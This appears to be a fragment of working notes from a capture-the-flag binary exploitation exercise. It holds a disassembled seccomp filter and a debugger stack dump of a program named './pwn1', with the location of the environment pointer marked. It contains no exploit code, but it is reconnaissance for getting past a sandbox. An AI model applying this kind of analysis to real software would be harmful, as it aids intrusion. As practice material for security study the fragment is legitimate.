0012: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0015
0013: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0014: 0x25 0x01 0x00 0x00000002 if (A > 0x2) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL
0x00007fffffffdf88│+0x0128: 0x00007fffffffe2c6 → 0x4300316e77702f2e ("./pwn1"?)
0x00007fffffffdf90│+0x0130: 0x0000000000000000
0x00007fffffffdf98│+0x0138: 0x00007fffffffe2cd → "COLORFGBG=15;0" <------ environ[0] = 0x00007fffffffdf98
0x00007fffffffdfa0│+0x0140: 0x00007fffffffe2dc → "COLORTERM=truecolor"
0x00007fffffffdfa8│+0x0148: 0x00007fffffffe2f0 → "COMMAND_NOT_FOUND_INSTALL_PROMPT=1"
'''